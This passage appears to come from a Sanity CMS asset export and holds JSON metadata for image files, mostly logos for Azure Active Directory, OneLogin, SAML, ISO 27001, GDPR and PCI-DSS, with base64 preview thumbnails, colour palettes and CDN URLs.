qT5GdGk/z8HyneeSbJO04nrbzbOOBzZYysQiJA6gBtnhTlHW1K+kqbPcti1Lm2z0uJCAKy52xSRLDr+jxuGQ7s5oRv7+z1uHUksHvPJmXlpoTPDd3eXCRK34A2zeVRWgqFZu1Y2+fR6+dD/mluno9czrgfq2LEdV2e3TYS2KaEbyUrAX15PGWPX53no1cycnCuJu6U/6QMqUkA2xXSxQcHfPvdTEYE4J//nbfbTzmu+LYSQOHurl6nvBXVJ5M5PjgR8qpuT5RPKKQDAvgqIP3S2ONde3EsxV9dzvDhv9O891xSSrL3/+Y77lqGA96c8Pnp0aSVSr6YTvOnl9L81Kkge3Mn/QPafKuQdgiHDaDNzoooHb2jx5vZ0O/nNvT77udtIwHvO5e0bVMhfzAV8mt/peyzeW75vn7f3t3nZWrjdL4M6XPQ5jGFVF28breANo+DNl+CNpOANL80SnZ9n8eSzRBl7TBl7dsTId/T73MkWmwbMwLaHAJtHgKkSmcYAriy2xOHqVJCKtL7Cuk0aBNWx8nuH0/xWJDjUT/r2mdFJ0ljk0LqlMZWSOsjUSqv6/LyDpS3IQNwwghoOSDdq4RXbborY+Q1/x64cuU+b0r4ufIozYI2Pyik3QqpPhKlshJTKbGv6/dZbs1q0LRPIXXc1Elzomxjj5ddHqMpQDoCmlqdL5Y61ILb/N9+8h+IudaCNttBm3bQ5gJoIzQcBm22iCPBrwUzuMG5S/2wEHQ0/HhNVrGyFkD6DJDeE8tSYiInXOy6w5SU/B/8UJcUQJFENQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a6470","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e5489","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04bbf2","foreground":"#fff","population":22.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#98c6c8","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#67f0fb","foreground":"#000","population":0.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5195b4","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04bbf2","foreground":"#fff","population":22.77,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-azure-active-directory.png","path":"images/sczeoy4w/production/6ea6284e995c0582493b818cbddd45f5b331204c-512x512.png","sha1hash":"6ea6284e995c0582493b818cbddd45f5b331204c","size":8675,"title":null,"uploadId":"Q10ZpiAJbhwi8K3UOiLaslrd2uI1sur8","url":"https://cdn.sanity.io/images/sczeoy4w/production/6ea6284e995c0582493b818cbddd45f5b331204c-512x512.png"} {"_createdAt":"2023-05-26T12:45:58Z","_id":"image-cf4caddee0c6423b881728ae13d5e028bac6ee1a-462x462-png","_rev":"Bg5HPBiLdZofLBzDE7Etky","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:47:02Z","altText":"OneLogin logo","assetId":"cf4caddee0c6423b881728ae13d5e028bac6ee1a","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eC7-c;of00Rj~qofj[WBWBfQ00ay~pof4nRjWBt7t7ay-;j[D%ay%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":462,"width":462},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACsklEQVQ4jY1VTU8TURRtF/yAuuSWy2eRWwsFY4wiH0ENEWGhRldGw0ILK13oxgCKRiFYNOo/MC6M+gMQoyAYl4IxpOCCiCakdSEkSooJZq45M2+aRy3g4mZm3sd559573pkAsQQQ4dIonkFiCRFLM7EMEMsYsSwSy6qJRTPWTyxNZm3Q7HXDBisilgixJIjlGbHME8sPYlknlg0T62YsZdZcJJYq7A2X7vEALbBaYhkklhliWSMWJ1wa1UKBOWL5RSwfiOUGscQ80GjATzNiwBaIo2CCjc5W4R9mWM8bUDANBkwdEoYZFuQ2+VFsvdvz5rlhmCL9EABbiOU50jQp5Rhwecwpr4o7FZG4llfF3W8zb2egJn3UtClg6IK2nZJWROqdtiNder67VxO9l/Vcd4+2tB13ga36OlY2aFQ/AMeJZcVeUFxS49TWN+q1vls6Nf1e5+ZSOvn2nV652qcS26/FJTWbwMIeS3R/DIBfiOV3PmBdwyEduH5HZz9+0mw2q5nMdx1JPlActAXgOnQKwJ/E8icvBa2sbtD2Yyf19tCoplILmk5n9G7yoQ24qd7kNWe1IKCvt7LKOj1x6qxOTE7r8nLaA4zvDLjkp2zJAu9udHSd0TcTUy7D5Oij/0r5ld8Uu9M+y47O0/py/LUuff2mwyP3NRY/uGNTBr0bskmw/gZtbG7XoeF7+vjJU72QuKS7ZR8AC8lmHoYCwFZieeEL22LpbkBzDjQe1dbDnRrf2+RA3AWEvWaE3QzAXcTSQyyzKGzetSoYBa7ejLm+Id8cqonlJrF8NqD59dzOHBZM2WAwQdu+6gwomLr2RdvbF9aAGcBgfTn7skHBFOmjpjh5BZKCTk3gHWNoAAwFaYJZUbjMc+2cdVu/ANQUjcLJkBR0CvEjcE1x92EocKl/fgF/ARARBnHu2+Q8AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c2c","foreground":"#fff","population":66.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040a14","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c2c","foreground":"#fff","population":66.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b5bd","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90b1e8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848494","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a6ad4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-onelogin.png","path":"images/sczeoy4w/production/cf4caddee0c6423b881728ae13d5e028bac6ee1a-462x462.png","sha1hash":"cf4caddee0c6423b881728ae13d5e028bac6ee1a","size":5590,"title":null,"uploadId":"U8AQQhLVDwexLPNtR5FDbsFvwOuRAX8y","url":"https://cdn.sanity.io/images/sczeoy4w/production/cf4caddee0c6423b881728ae13d5e028bac6ee1a-462x462.png"} {"_createdAt":"2023-05-26T12:45:17Z","_id":"image-bfecfc8de4d85a1158a972c01b27b11bbd524dd7-512x512-png","_rev":"Bg5HPBiLdZofLBzDE7F1x2","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:47:26Z","altText":"SAML logo","assetId":"bfecfc8de4d85a1158a972c01b27b11bbd524dd7","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9BDWqt700M{RjIUj[j[WB%M00WB~qt7-;xuWBxut79FD%ay?bj[9F","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAECUlEQVQ4jW2VX0zWZRTHX3Vz66KLLoTv4T1P9MLkBXXK30kqyL+AaGzJYmaFCpPRUhBeykkQIv9DXkNjAboBJRDhDemd1+ZdW9mmF60b14VL51qps8Bz2vnx+y22ujh7nr3P+3ze73O+55w3BHDIgsjZugngMMA1AE8A/D3AD4ncX0TuGcD3Ab4FcBzgSoC3ALzRv+tFiGhtA/ALAGcD3AHwDSJ3j8j9SeRWiNxzP/4mcn8QuV8AvgZwM8AZAG82joEDZQbbB/A4wD+bGiKnAGtiYlgTEsLeamGf2RmRewrwTwAPApy1BnWh4JnZPuxXX4ldFOZXJD19h+TlvSq5ufmSlpYhSUkvi5350FUTAHA/wFGAN4T8nHX4ygzmXUhOTpXi4jKNxT6UePy8jIyMyvHjzbJnT4E6Fwmg4kN/ALgJ4JdCvgE31j1TwuFkKSwslsHBYZmf/1rHx7/QiYkptX1n5yeSk7Pb1AVAJeLHAC8BXBDy3bzn50YSE8MSiWyVxsb3ZW5uQU+f/lgLCoq0tLTc2/f29uv+/SUeKFAJsMUdgLtCfmmYmx7QwFlZeTI8PKLLy9e0paVNy8oqtLy8Sg8frtcTJ1q0oqJKU1LSAoXiwx8CfD3k19lKAIxGt0l9/TFdXv5Wb978TufnF3RiYtJ78uTkJZ2auqxDQ5/qgQNvaWpqdL1B5vpdA1rRPjdl5mB5+etilxcWFtVUdnf3aE9Pr54506tdXd0ezM7i8c90797C9cAVgB8Z8FkANPfq6o7KlSvzGot9ZE/XvLx8ra19W2tqajU7O0/z8/fp2bN9Ojv7lVZXvxnkMAA+MOB96wArWiuVhoZGmZn5UuvqjppizczM1Y6OTm1ra9eMjB32HW1ubtXp6VmpqakN6tKATwC+bcBb1k5rwBRpaDhmvy5HjjRoOJysO3dm68mTbdrU9IFGo9s1Etmqra0xnZn5D/A3gK8aMO73plpnHDr0rszNzVvOxNwtKXlNDx58x3t2UVGpVlVV6+joeZmenrW9BGVD5H4EOGbASiJnjf7UkmsFfe5cXBYXvzFnZWzsol648LkXY2MXZWrqsiwuLplRkpu7O1D3O5GbBTjXgFuIXDORs0ZftfqqrHxD2ttPSX//oAwMDMnAwLC/Dklf34C0tLRJUVGZtaf6VWJpew/gFw240UYQkRv0+3nVuYimp2+XzMwcsSJfH7t2ZUta2jYbHAHsNpE7BXCyjbBgfG22EUTk+omcNfpja8GEhCT9v7AzgO2ZpsxgNmk2+ePLeVAiZ9AokWsicktE7g6Rsy6y3FonWTwxN80Ay5n/zGQi58E8hcH495VusBFkU4OIu4jcdSK+S8SPiPiB5ZnIXSXimBlgOfv3/tpfwD8TCjAOI1EpcQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434244","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06040c","foreground":"#fff","population":0.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#06040c","foreground":"#fff","population":0.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bcc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#87848c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-saml.png","path":"images/sczeoy4w/production/bfecfc8de4d85a1158a972c01b27b11bbd524dd7-512x512.png","sha1hash":"bfecfc8de4d85a1158a972c01b27b11bbd524dd7","size":5705,"title":null,"uploadId":"mNYl3KF6c8gqsb7bvgThAz5ALUIUhDaB","url":"https://cdn.sanity.io/images/sczeoy4w/production/bfecfc8de4d85a1158a972c01b27b11bbd524dd7-512x512.png"} {"_createdAt":"2023-05-26T12:51:15Z","_id":"image-1bdfde2875e6ddebd644205ed02f511116278f6a-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7GJ5U","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:51:15Z","assetId":"1bdfde2875e6ddebd644205ed02f511116278f6a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eVP??qof~qt7Rk%Mayt7oMM{?bj[D%WBayIUofRjWB%M_3ayD%j[R%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAESklEQVQ4jYWV31MaVxTH/SsioJN2bGujLD/cZXcB2UVXFFFQMEIzGodWQS0CUYmIaP2FEjVjZtKmTcYWSY3TGdP0tXWcPmY6vqRvNW/OpGpS1BIWQSX82M7lh6EzmjycOffcPfcz59579nsLXuwEunb2Dmy7Lw/tuy8PrXlme4/l59p3dg9sL/4OdBUAWGD/dXWIjkA5o+koRIczdnR0wg0fHXPT8yCOnHCBz88P0REIMAC0ANDBBMMwlxiGYTEMU5j2qRQrlUqyaDrEDoVCbDAff/OGRdM0O5FI5PIKs2suAQZgAaA1C2TFE4niZDLFefr0j5L5hUWh2z2OWSx2sn/gZuXinbuCIadbbDZbqJmZOfivrecfMAzDiccTxWBtFmjNBxbG44kihmHYM7O3hFRNfQcuJuwwIh4BnqKUHdLKKguGywaqKaVxamoWjsVinFQqxQFrLwDG08D+gZsSESod4vGRGYgHz/F4yCxfIJpCEIlLIpX3YZhs8HrHF7WBQABUx3lHhRmgw+EUg0oqYNwtEKKTXAhe4PGRWRgRuzGc6MfFRH+XqbcqGAyC/IsrTCQyW/72uwdcnU6vqVM2fkaQlIkgKHOjWntVUdvQTpBUt1arb172/1gGtptMJosuBIKEcDhctLb2pNQ1Moba7YNSUElvr5UcHZ1A7TccIK6enPQgz579+eE7galUElw/Z2vr+WXXyFdYq76tqVmrv6rVGlqAz5ihRasztBiNplq/f6UsEo0WZS/y/ArBdvf3D4q/uXcf6rP2E+buvuqeHmtVzrqz3uUawzY2fv8I5DPnnKENdP729nbR9z8sc73eecHdr+9B4+NT8NCQC7s1d1sAbNrjrVhZWb2ytOQr93i8FX7/ypXHP/9Surz8sHxzc/Py/4Ag8PkeljZrW3Uyguqur9cY6pSN16RSuYWUK7rkVYpOkqwxqTW6FlVDk4EkFWalUn1NpdLolUp1+/CwGw4Gw2+BwddhyOfzl6rVOj3oNYKsMdfVNbZVwPgYj494+QLRtECIToCxQIhOIyKJCxFJhlFU6sBwmdNo7JTvHwR5e6/+tRbs7h3YwuFjaOXR6ifKeg2AjFI1yg5VQ5NeIiGtGF45IBSiE6Cxy7nCOxAPmROh0mEMlzlA1QRB9RmNXfJX/xzmAY+OuQu3F7nyqtpuBBG7FApVm0rV1KrTGTTt1z+vrZRV94pQqVNGUD3g90PxSkeNQtXR1m6s02pbWxwOp+hthdlb/vW39ZLBQafMZOqlnE632OPxwo9WfypbX9/4eMQ9jlv6bpALC4vCyakZ0ZcWm3zWOw+vPX7y6f0HS/z19Y0ScGy5MwTyxQMSdHJywqZDGbmKnZ6eSVQsdsqKRiJpCQP9GolE2MmshCWTaQ/ki5eWLyCKGYGNQuGjYygSPeUCy4lqRliPwbdsnM47E9mcPxNYINtgkPcEnCfz73sKMk/Azn7nf2Mwq6xZDci9AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d4147","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7cc","foreground":"#000","population":0.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7cc","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7bbc1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767d88","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-iso-27001.svg","path":"images/sczeoy4w/production/1bdfde2875e6ddebd644205ed02f511116278f6a-40x40.svg","sha1hash":"1bdfde2875e6ddebd644205ed02f511116278f6a","size":22174,"uploadId":"yPCUGnZJAcKGt4Z2moVE6tThAriRdt0E","url":"https://cdn.sanity.io/images/sczeoy4w/production/1bdfde2875e6ddebd644205ed02f511116278f6a-40x40.svg"} {"_createdAt":"2023-05-26T12:53:05Z","_id":"image-203403621ac80cf3125943af581ab051cfe3b2fc-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7HJMm","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:53:05Z","assetId":"203403621ac80cf3125943af581ab051cfe3b2fc","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUMP:QkDyZozKnxaf8jaj@R,yGoK59jt^bkDbGazf8ocK-jt^IfjjE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEfUlEQVQ4jWVVXWwUVRQ+u6UlpKS2c2dn9t7Z3e7dBUorhZAYQyChJkoFWpWIJjWlJBUTiUF9IcYXMUEfDBh9M0YTwoPRyAOJ8gAYhDg/C21IMdpqJHTnZwvOtsVWTE3bndlj7u62pfjwJWfPnfvtued+57tgu/6A7fqDtusftl2/3/GKhxzXX4btFZfQbz+y5rgi7/fX9gqOAagFnbbrx2y3KDteUba9KTlf+JvkC7PEce/KBftXpZAfUV3XjdneDBFrtjct25Vvi3J1b4VjEGrsMdsrwvjEPNjeFJxDBPwGoggAeBkaUK9Lo74miz/Cukrua4h+hQi2Nw3jE4sg9tZID0O1ZPFPM+DZY9FbDxCCXPax0KJbQ4ttWDCStGQoz5YMpWfR1LTAYjy04tuCXFoqOGMR18lH84UHgkcWXCD64Ljix324d9uIzN1uBDQJLZukNzTlLhwiMRyRNuCI1IbDkhyaZGdokgNlS0rhTQKFOyORfGFOVCnbbvEQVBs/KRuIEFjZ5rIhJ8sGSZQtsikw5NSZ9+j67l0paf/ulPTZO7QxqK61hSZJhCZJBlaaJKvHJ4KrRvgXwbcBQpN2hIZ8IDTIFhxqqd/anm7UNL49TnmfgIif2JpuxJukLjDIptAkL4RmfDueh7p84cHDhPfJt5UKtVRokF1okfSF00pdTOWbKePHGeOnmcZPM8aPK/HM5o+OadGyJSUCQ9oVWjSLRwHy3uwKoeghXoL6wEqwkk5UHG1pSCZ5E2W8jzJ+ljL+cQ0i7tMSvAl/b65f1CUlsDQNr8Bax52Qlwldx46hDonQVPaiRTqtL5S1ssI7mcY/qJF8WoOIT8ZU3nn+lFqPFmkPTGU/6mu4Z48qQvjidpYIWWCqz+AQ6Th5VFuvxHk30/hJyvggZZkjVfBBkVMp737txeQ6HCYbSobajXpdq2f/tkLouH/KeBHqF/QkxRGifv4ua04keC/T+PuM8YOUZfooy7xCGX9J5DSN95x6izbhrZbYvJ5geAkaHPeemJqVW96GCCWTZTBHnvIvxNqyGb5TpfwE0/iHoipxfBHHGT+RTPEdE98Tjjmpq2TG2/ATiIhxXC2bpwFCi7aXTfJ8YJDHD3antHSa72Uafz1OM28IiFjk9nWlWMmQNoYmeS6w4tvwHEQfIZyUf55BKF3PNoWmRNEi2txVuXP4jLKlvyepdT3Zqu3Z2aq93J1i179U2v+9SjoxJwlh0yCXbT5bEfbU0i0vjd40jBcWIvM/qRCaJF62SC/eILsx30JwVNqIv0jtON5C8Ia0A63q6E1+p8LYJEK+MCsKq/awYg6VwZ4Bx7Gjf/gIpdzGpsCk7fM64/9cS8YXdXXPoq7sm7uW0BZ01hqa8Y4gl265e+dKxPamxXFrs+z3r7IvUaUgNssIQv1HhI1dhDVCUqhHEvgDNBwTuTcBLqOoTLjMFNjuw/bl+q8uG6zniz7IoqdiHAWEpFzHiQmtVqUhjFWsTVa/rWKVwa48AZ7fX+vpagit/s/+l56I5SdAFDbwH0bgVCm9z6SaAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#342a44","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#748404","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dee0f8","foreground":"#000","population":1.56,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcdfc2","foreground":"#000","population":0.56,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dee0f8","foreground":"#000","population":1.56,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6a651","foreground":"#000","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4b830","foreground":"#000","population":0.38,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-gdpr.svg","path":"images/sczeoy4w/production/203403621ac80cf3125943af581ab051cfe3b2fc-40x40.svg","sha1hash":"203403621ac80cf3125943af581ab051cfe3b2fc","size":10059,"uploadId":"36Ze3LVu8huGXerIgw8jRSeY1kRzxXg6","url":"https://cdn.sanity.io/images/sczeoy4w/production/203403621ac80cf3125943af581ab051cfe3b2fc-40x40.svg"} {"_createdAt":"2023-05-26T12:55:23Z","_id":"image-755a96d4bd3934033e98ac391d913265d09537af-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7I44k","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:55:23Z","assetId":"755a96d4bd3934033e98ac391d913265d09537af","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eYQcn|of~qofM{xuj[WBjuWB-;fQD%j[j[Rjayofj[of?bj[D%ayof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD00lEQVQ4jY2V21MbVRzH+StKsmEs01HHkgRy202ym02yuUBrwCoWmE6BxIRA7hdYbATNpYhFwJYpiqMwZaovHUenfwDtU8eZ2sGX+lKnvlSw00DSJCShDNnd45wkSiwp+PCbc/19ztmz3/M9DU82ko6Nv7b9m09Tgc2nKV9N+I+J2rmBjc1t/5M/k44GCEtuZahsriD6J3I7RVE+/0KYL7wQZnPFch+s7+R3hblcsTwOy9qc5FaGgtAGSIcdAIATAAAeAKARAI5XKBT42WyWz3FsuQ+2d3d3K+McxzuYC2B5AjIgCwJ9VSCPYdgmlmUFa2t3X6fpj/ARl4+KJ6YVV2bmpG5PQOf1BrWx2GXF7NxVyb17P5/iOA4pMUwTzK0CfbXARpblBAzDIBMTURTH9T6pTBlVqsgQoaHcKrXOryENw1qd0W40nemfmvpMCgDglxhGAHPrAuGK+/v7iMvtIyVSLNEilC4IRbI5kVh+hSD0rvZ2Sx+KEUEFitPBMK0uA0ulo4GlUgnxeoMaFMU/VKnIEEW121AMH1OptX49ZbZiSiKIqTShMfqS8n8BGYZB5uevtp7vuWAJj46rb978/q2BgQ9MOr3ZbjB2DFgs595/r7u3a/HLJSEEMsd9Mtzh/fu/NEPQ2p27px49+v21W7d+ePOTaEIei1+WXV/8SrS8cuP0+vqvzSzLIvDcXwkEACCpVFqwvHyjxeX2awcG7ebBQYfZah0yWW1DRpvNabTahkweT4BcWVltSafTEIYcCXz2LNk0MzMv6e3rt3R2dfccis7unt6+i5bPZ79oSya3mo4FPnz428l4fEpmd4xQwRCNx2JTco83qHE63Tqajih9/hDhcvvJpa+/FW5vp44EQsUjCwuLYpP57YtqXOdr7+i8AH+AVmdyQP2de/f8O5ShY1BDGpw225DhwYP15gqQqyPsynVCQiFajWGaUblCHZEr1JckEjQqFEnn2iRoXKkiA20SNCFulX965mxX748/3X4D5nAs+2qg3x/GUYwYRTFiTFEFisXyaZFYNiOTqyLVBWZJ0jC8tPRNWTosw9S7ehVgIjEtJUmDU4ES4xoN5YLagzuTyVUTOK7zQIHLZKpJk+ls/+rqd6dhDsvWBQIe1BS89JHIx0rnsIeamIxi165dbw2FaMLl8uknJ6NYODxODI949dAwHj/+4yQAQPDyGR6yr729PV4+n+dXj6FxZyfHz2QyZSsrFou858/TfJat2Noh+4Km+F+DLYqgkUJDhUaazRYO2i+PHRis+F+DhbYNKzVPQD2rP+4ZqDwBG1v2vwHBRta6+acdMAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d4147","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7cc","foreground":"#000","population":0.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7cc","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7bbc1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767d88","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-pci-dss.svg","path":"images/sczeoy4w/production/755a96d4bd3934033e98ac391d913265d09537af-40x40.svg","sha1hash":"755a96d4bd3934033e98ac391d913265d09537af","size":21765,"uploadId":"J34WpK5ZG04DxlaC4pwfwDVHedggpV36","url":"https://cdn.sanity.io/images/sczeoy4w/production/755a96d4bd3934033e98ac391d913265d09537af-40x40.svg"} {"_createdAt":"2023-05-24T07:58:02Z","_id":"image-b9b0abe8857a83a486cb35e2b67901dc201b9e68-1566x774-png","_rev":"KgwcjbpYn0Fspf7gwB0wqk","_type":"sanity.imageAsset","_updatedAt":"2023-05-24T07:58:02Z","assetId":"b9b0abe8857a83a486cb35e2b67901dc201b9e68","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MeSq[2Y5VEt3p_tlb^afjZs;dBnOo}oMn3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0232558139534884,"height":774,"width":1566},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACJElEQVQokS3S3UtTYRwH8PN/ZV10qxFCRiBlENbMolpSSEkiosUMsi7s3ZsuuuiiIClNIjYdzGm5TdM5bW3z5bzseN7PeZ7n93t+J9S+9x++8OWrEEkUIDlAJALHa2qGpmqG0XRcB0DEMRGRlBj6nqnruqoammbqzdD1JUpFCIxML9gxvZpur9fM0tb+X9W1/YhzKWV8qCUPWOO3vzjtzs946bQ/O88XSmhYCuPg6Y6xtdtYqW4vrevLG3ajGQYCpYyJjorRMyD3Hl704NgNHB7CvmFMTWKxonABge0Yu2qt2tj907BqqmvYLBTyUP7Hro7pN3L0FN1qpe6LdLYH+5/A0prC9k2vsKjPfdEyn71v02zqB8sWhGZJFpGzLy1LRhHae/h9Qg6epO4WOtdObV0y+QgWVpVwo6i+Gtsc7dUfXoLkZeq+CyOvxXIZtiuYnoKZWb5ZY1pVfE3R/WNx4njc2RG3nqerQ5j5pbDVjDp+fe12u5Zog47T8ZkE9o/zXEGs5+DdOJ946edL/t4Wn34sB1rixIm4s4NaL8hrwwdY1Ivep1TzWdIbuQMDD3DoKZ/8yMpVodVFPs0y82FtJ7I0kf+Az6/IwS7ZdxN774nUWyhtKhg4vL4alrK8sAjFFVYsh5U6s1weBcy1hOsi4yg4mttYzuHPOczlRHaJlypgewpRLFgUuhaPAgBgB+FC8DB0g8ABwQ/2PgoiAdDhoyQgEf0DNMr6sU26oFMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e6c7d","foreground":"#fff","population":1.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#813503","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb3254","foreground":"#fff","population":4.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7d9e0","foreground":"#000","population":0.18,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb3254","foreground":"#fff","population":4.94,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a2524c","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96a0c","foreground":"#fff","population":3.97,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b9b0abe8857a83a486cb35e2b67901dc201b9e68-1566x774.png","path":"images/sczeoy4w/production/b9b0abe8857a83a486cb35e2b67901dc201b9e68-1566x774.png","sha1hash":"b9b0abe8857a83a486cb35e2b67901dc201b9e68","size":224053,"uploadId":"Cx51CsKIDRr0vsM8nuWkWl3X7ircoOcm","url":"https://cdn.sanity.io/images/sczeoy4w/production/b9b0